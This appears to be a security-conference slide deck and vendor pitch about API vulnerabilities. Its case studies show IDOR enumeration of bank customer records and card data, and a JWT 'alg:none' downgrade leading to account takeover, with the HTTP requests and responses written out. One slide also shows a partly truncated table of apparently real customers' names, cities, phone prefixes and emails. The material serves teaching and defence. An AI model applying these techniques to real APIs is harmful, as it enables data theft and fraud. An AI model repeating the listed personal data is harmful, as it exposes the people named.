

# Hacks your APIs (before hackers do.)

**API Exploitation : Dans la tête d'un attaquant**  
**De la conception à la fuite de données massive**

Jan 29th - Nicolas Jeanselme



# API leaks in France - last 6 Months



**AIRFRANCE** 

 **Optic 2000**



 **Auchan**



... and that is the ones in the news





# Nicolas Jeanselme - Founder - API Hacker

CVSS SCORE

9.1

SEVERITY

CRITICAL

VECTOR STRING

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

COMPUTE CVSS SCORE\*

HALL OF FAME			
RANK	HUNTER	COUNTRY	POINTS
1st	nje	FR	138
2nd	nib3k	FR	124
3rd	m2dam	FR	71
4th	Droppy303	IN	35
5th	rabhi	FR	30



- 300+ Organization API pentests
- YesWeHack – Top performer (nje)
- Hacking Lab speaker - FIC Lille
- Top System Engineer in Silicon Valley startups for 15+ years
- Data visualization, API and automation expert
- CISSP certified

## Ethical Achievements

- Data leak
  - citizen health data
  - citizen PII + banking data
  - enterprise banking data
- Fraud
  - phone orders validated without payment
  - set 1M\$ on casino account
- Account takeovers





# OWASP API Security Top 10 2023

- A1: Broken Object Level Authorization
- A2: Broken Authentication
- A3: Broken Object Property Level Authorization
- A4: Unrestricted Resource Consumption
- A5: Broken Function Level Authorization
- A6: Unrestricted Access to Sensitive Business Flows
- A7: Server-Side Request Forgery
- A8: Security Misconfiguration
- A9: Improper Inventory Management
- A10: Unsafe Consumption of APIs



<https://owasp.org/www-project-api-security/>





# API1:2023 Broken Object Level Authorization

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Ranked as the most severe flaw by OWASP for 3 reasons

1: Most common flaw - in 30% of our pentests

2: Most difficult flaw to detect

- No intrinsic characteristics / signature
- Valid against OAS schema
- Perfectly similar to a legitimate request

3: Strongest Business Impact

- Access to the data of other users
- Data manipulation
- Operation for other users
- Can lead to full account takeover



# Case study - EU Bank - PII exfiltration

## Vulnerability:

IDOR / OWASP API 1 BOLA on customer id

## Business Impact:

Data Exfiltration: Customer firstname, lastname, id/passport number

```
GET https://[redacted]/en/identity-details/98537/

Body Cookies (4) Headers (22) Test Results

Pretty Raw Preview Visualize JSON

1 [
2   {
3     "identity_uid": "98537",
4     "identity_type":
5     "identity_expiration_date": "2030-10-09",
6     "identity_issuing_country":
7     "identity_date_of_birth": "1961-03-07",
8     "identity_status": "1",
9     "identity_created": "",
10    "identity_number":
11    "identity_country_code":
```

Customer 98537

```
GET https://[redacted]/en/identity-details/98541/

Body Cookies (4) Headers (22) Test Results

Pretty Raw Preview Visualize JSON

1 [
2   {
3     "identity_uid": "98541",
4     "identity_type": "Passeport",
5     "identity_expiration_date":
6     "identity_issuing_country":
7     "identity_date_of_birth": "1977-02-24",
8     "identity_status": "1",
9     "identity_created": "",
10    "identity_number":
11    "identity_country_code":
```



# Case study - EU Bank - PII exfiltration

"lastName": "(.*)"	"firstName": "(.*)"	"mobilePhone": "(.*)"	"address1": "(.*)"	"city": "(.*)"	"birthDate": "(.*)"	"email": "(.*)"	"transactionNumber": "(.*)"
SanÃ©	Antoine	0652	catlegouai	La Baule	/08/1998	jmail.com	0
KAIDO	Michel	0611	Villa 10 Le	Saint Ra	/05/1962	iar1@gm...	9100304093
ANTON	MURA	+336	CHEMIN C	VALENCI	/01/1963	gmail.com	9100305044
Saterin	Nicoletta	+337	99 AVENU	PARIS	/01/1985	ATERINI...	9100304774
VICTOF	PUTTENE...	0623	81 RUE CI	ORCHIES	/12/2007	l.com	9100301837
guinet	pierre	+336	8 rue marc	STE GEN	/02/1962	ir@yahoo.fr	9100303325
Crestin	Lucile	0645	8 rue Eugè	Nantes	/05/1997	hotmail.fr	9100300709
KARIL	Patrick	0607	77 BOULE	MONTMO	/03/1956	om	9100300814
Giordai	Carol	0778	71 rue Gu	PERTUIS	/07/1984	ack.fr	9100305965
lafrate	Damien	0666	7 rue des	Ivry-Sur-	/04/1995	e@yahoo....	9100301109
BRIET	Nicolas	0695	7 port sair	Toulouse	/08/1997	outlook....	9100304524
Girard	Agathe	0603	6b chemin	Ecully	/01/1996	nail.com	9100304518
ZURLC	DOMINIQ...	0623	68 B rue F	TOULOU	/11/1979	.fr	9100304982
Boffelli	David	0652	6 rue Cath	Strasbou	/09/1970	ail.com	9100303448
MAURI	Robert	+336	58 RUE JE	Plan de C	/08/1958	@free.fr	9100302459
Alves \	Sara	0663	47 avenue	Annemas	/08/1993	:@gmail.c...	9100305263
Rasche	Niels	+336	4 boulevard	Paris	/10/1994	nail.com	9100302733
Poignoi	Hannah	0633	38 rue de	Paris	/08/1995	nail.com	9100303527
Bui	The Quang	0669	37 avenue	Antibes	/10/1984	igmail.com	9100301645
PREZA	Marie	0679	353 ROUT	SOORTS	/04/2003	adoo.fr	9100304618
Mosley	Charlotte	0613	31 rue de	Paris	/05/1952	tte@gmai...	9100305578
Turc	Anthony	0614	31 bd Jos	Nice	/07/1987	yahoo.c...	9100302052
ANDRE	MARCEL	0663	3 allÃ©e F	RENNES	/11/1949	re@orang...	9100303062
ABAHF	ELOÃ  SE	0660	3 ALLEE C	LA CELL	/12/1972	hotmail.fr	9100302576
comba	patrick	0647	298 Rte de	Nernier	/02/1963	TRICK@...	9100302329
BERTH	Adrien	0782	28 Avenue	Montreuil	/08/1972	r@gmail.c...	9100305749
Richarc	Samuel	0664	25 Avenue	Saint Jex	/06/2002	9@gmail....	9100304145





# Case study - Bank - PII exfiltration + Fraud

## Vulnerability:

IDOR / OWASP API 1 BOLA on Credit Card number

**Business Impact:** Data leak: Access to other customer Credit Card details

**Fraud:** Adding another customer credit card to Apple Pay

```
1 POST /rest/Cards/cards/get HTTP/1.1
2 Host: digitalbanking.
3 Content-Type: application/json
4 Accept: application/json
5 Authorization: Bearer
6 Accept-Language: fr-FR;q=1, en-FR;q=0.9
7 Accept-Encoding: gzip, deflate
8 Content-Length: 97
9 User-Agent:
10 Connection: close
11
12 {
13   "cardNumber": "45XXXXXXXXXX2039"
14 }
22 {
23   "keyValueMetadata": [
24   ],
25   "riskAdvice": null,
26   "stepUp": null,
27   "card": {
28     "active": null,
29     "atmPropertyEnabled": true,
30     "balanceTransferEnabled": false,
31     "canApplePay": true,
32     "canTapToPay": false,
33     "cardDeliveryStatus": "CARD_WITH_CLIENT",
34     "cardExpiryStatus": null,
35     "cardImageUrl":
36
37     "cardIsDueForRenewal": false,
38     "cardIsDueForRenewalBy": null,
39     "cardStatus": "A",
40     "countryCode": null,
41     "description": "Platinum",
42     "helpEmail": null,
43     "helpNumber": "",
44     "internationalHelpNumber": null,
45     "internationalTravelEnabled": true,
46     "limitManagementEnabled": true,
47     "number": "45 2039",
48     "pricelessEnabled": false,
49     "rerouteEnabled": true,
50     "showCardProperties": true,
51     "stopCardEnabled": true,
52     "type": "",
53     "viewPinDialerEnabled": false,
54     "viewPinDialerHelpNumber": "",
55     "viewPinEnabled": true
56   },
57   "cardAccounts": [
58
59   ]
60 }
```

My personal Credit Card


Request			Response			
Pretty	Raw	Hex	Pretty	Raw	Hex	Render
1 POST /rest/Cards/cards/get HTTP/1.1			22 {			
2 Host: digitalbanking.			23   "keyValueMetadata": [			
3 Content-Type: application/json			24   ],			
4 Accept: application/json			25   "riskAdvice": null,			
5 Authorization: Bearer			26   "stepUp": null,			
6 Accept-Language: fr-FR;q=1, en-FR;q=0			27   "card": {			
7 Accept-Encoding: gzip, deflate			28     "active": null,			
8 Content-Length: 97			29     "atmPropertyEnabled": true,			
9 User-Agent:			30     "balanceTransferEnabled": false,			
10			31     "canApplePay": true,			
11 {			32     "canTapToPay": false,			
"cardNumber": "55XXXXXXXXXX74"			33     "cardDeliveryStatus": "CARD_WITH_CLIENT",			
}			34     "cardExpiryStatus": null,			
			35     "cardImageUrl":			
			36			
			37     "cardIsDueForRenewal": false,			
			38     "cardIsDueForRenewalBy": null,			
			39     "cardStatus": "A",			
			40     "countryCode": null,			
			41     "description": "Platinum Credit Card",			
			42     "helpEmail": null,			
			43     "helpNumber": "",			
			44     "internationalHelpNumber": null,			
			45     "internationalTravelEnabled": true,			
			46     "limitManagementEnabled": true,			
			47     "number": "55 74",			
			48     "pricelessEnabled": false,			
			49     "rerouteEnabled": true,			
			50     "showCardProperties": true,			
			51     "stopCardEnabled": true,			
			52     "type": "Credit Card",			
			53     "viewPinDialerEnabled": false,			
			54     "viewPinDialerHelpNumber":			
			55     "viewPinEnabled": true			
			56   },			
			57   "cardAccounts": [			
			58			
			59   ]			
			60 }			

Another customer Credit Card






# Fintech - OWASP API 2 - Broken Authentication



Secured JWT token with my username (sub)



Downgraded JWT token (alg:none) with another client's username (sub) (obtained via OWASP API 1)

**Vulnerability:**  
OWASP API 2  
Downgrade JWT and alteration

**Business Impact:**  
Data leak: Access to all customer information, name, surname, address, email, telephone, ID card number, and banking information  
Account takeover (PATCH /customer-management/v1/Customer/User/Password)



**Business Impact:**  
Data leak: Access to all customer information, name, surname, address, email, telephone, ID card number, and banking information  
Account takeover (PATCH /customer-management/v1/Customer/Use r/Password)

The screenshot displays a REST client interface with two main panels: 'Request' on the left and 'Response' on the right. The 'Request' panel shows a GET request to the endpoint `/customer-management/v1/customer/GetAccount` with various headers including `Host: apis`, `User-Agent`, `Accept`, `Accept-Language`, `Accept-Encoding`, `Content-Type`, and `Authorization: Bearer` followed by a long token. The 'Response' panel shows a JSON object with the following fields: `emailAddress` (value: "laura"), `name` (value: "Laura"), `customerType` (value: 18534), `parentAccountId` (value: null), `parentAccount` (value: null), `sageGroupId` (value: null), `sageGroup` (value: null), `sageAllocationAreaId` (value: null), `sageAllocationArea` (value: null), and `contracts` (value: []). The `emailAddress` and `name` fields are circled in red.

## Get Account with the downgraded altered JWT token returning another customer data



# The API Security Crisis

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APIs are a prime target for attackers due to their critical role in modern applications

**84%**

Organizations reported API security incident last year

Akamai's 2024 study

**62%**

Bug Bounty payments are for API vulnerabilities, with higher payouts than other categories

Wallarm Report 2024

**100x**

Bugs in production can be 100x more expensive to fix than those caught early

DeepSource Blog





# API Angel: A Unique Approach

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API Angel delivers proactive, real-time API security - On prem or SaaS



## Proactive Security

- Analyzes legitimate traffic
- Identifies sensitive endpoints and data
- Builds attack scenarios with configurable aggressiveness (QA to production)




## AI Assisted Investigation

- 2 speed results analysis:
- Algorithm based in seconds
  - Agentic AI based in minutes
- Identifies vulnerabilities with context, risk scores, and remediation advice



# Demo

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# Take the Next Step

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Schedule  
a demo



Sign up  
for a trial



Contact  
Sales

[contact@api-angel.com](mailto:contact@api-angel.com)





API Angel

**Hacks  
your APIs  
(before  
hackers do.)**





# API Angel

**Hacks your APIs**  
**(before hackers do)**

## Datasheets

fr



en



## Solution Brief

fr



en







# BOLA Detection Results

## CRAPI

True Positives	0/3	2/3	3/3
False Positives	0	6	0
Attempts	156,000	765	129

RESTLer  
Microsoft

BOLA  
Buster  
Palo Alto  
Networks

API Angel

100%

True positive

0%

False Positive

129

Attack Scenario  
executed



# Real world feedback


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**0 days BOLA identified zero touch in minutes**

- **Service Provider:** Access to any customer PII and Technical data - vulnerability introduced 3 weeks before in production
- **Car industry:** Access to any customer order, PII and car details
- **Insurance:** Complex vulnerability identified, bypassing encrypted customer id



# Architecture







# Architecture

